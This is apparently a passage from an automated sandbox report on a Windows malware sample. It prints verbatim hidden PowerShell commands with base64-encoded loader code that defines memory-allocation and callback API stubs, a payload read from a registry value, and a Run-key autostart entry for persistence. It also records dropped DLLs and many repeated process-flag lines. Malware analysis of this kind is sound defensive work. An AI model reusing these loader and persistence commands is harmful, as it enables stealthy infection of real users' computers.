QBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_012540C9 push esp; ret
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077CDE82 push 8B05985Ah; iretd
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077CDDC9 push 8B05985Ah; iretd
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077CDBD4 push 8B05985Ah; iretd
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_07491420 pushad ; retf 0069h
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_0795B6D0 push eax; mov dword ptr [esp], edx
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_079559C8 push eax; mov dword ptr [esp], edx
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_079673B0 pushfd ; retf
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07961290 push eax; mov dword ptr [esp], edx
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5ED27 push ss; iretd
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5CC88 push es; iretd
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5CC8B push es; iretd
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5ECE9 push ss; iretd
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5EC28 push ss; iretd
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5CC11 push es; iretd
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5EB78 push ss; iretd
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5EB7B push ss; iretd
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5FE4B push es; ret
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\yy0zjl34.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\tm43worv.dllJump to dropped file

            Boot Survival

            barindex
            Creates an autostart registry key pointing to binary in C:\Windows
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run opklbedebiJump to behavior
            Creates autostart registry keys with suspicious values (likely registry only malware)
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run opklbedebi cmd /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)Jump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run opklbedebiJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run opklbedebiJump to behavior
            Source: C:\Windows\System32\wscript.exeRegistry key monitored for changes: HKEY_CURRENT_USER_Classes
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
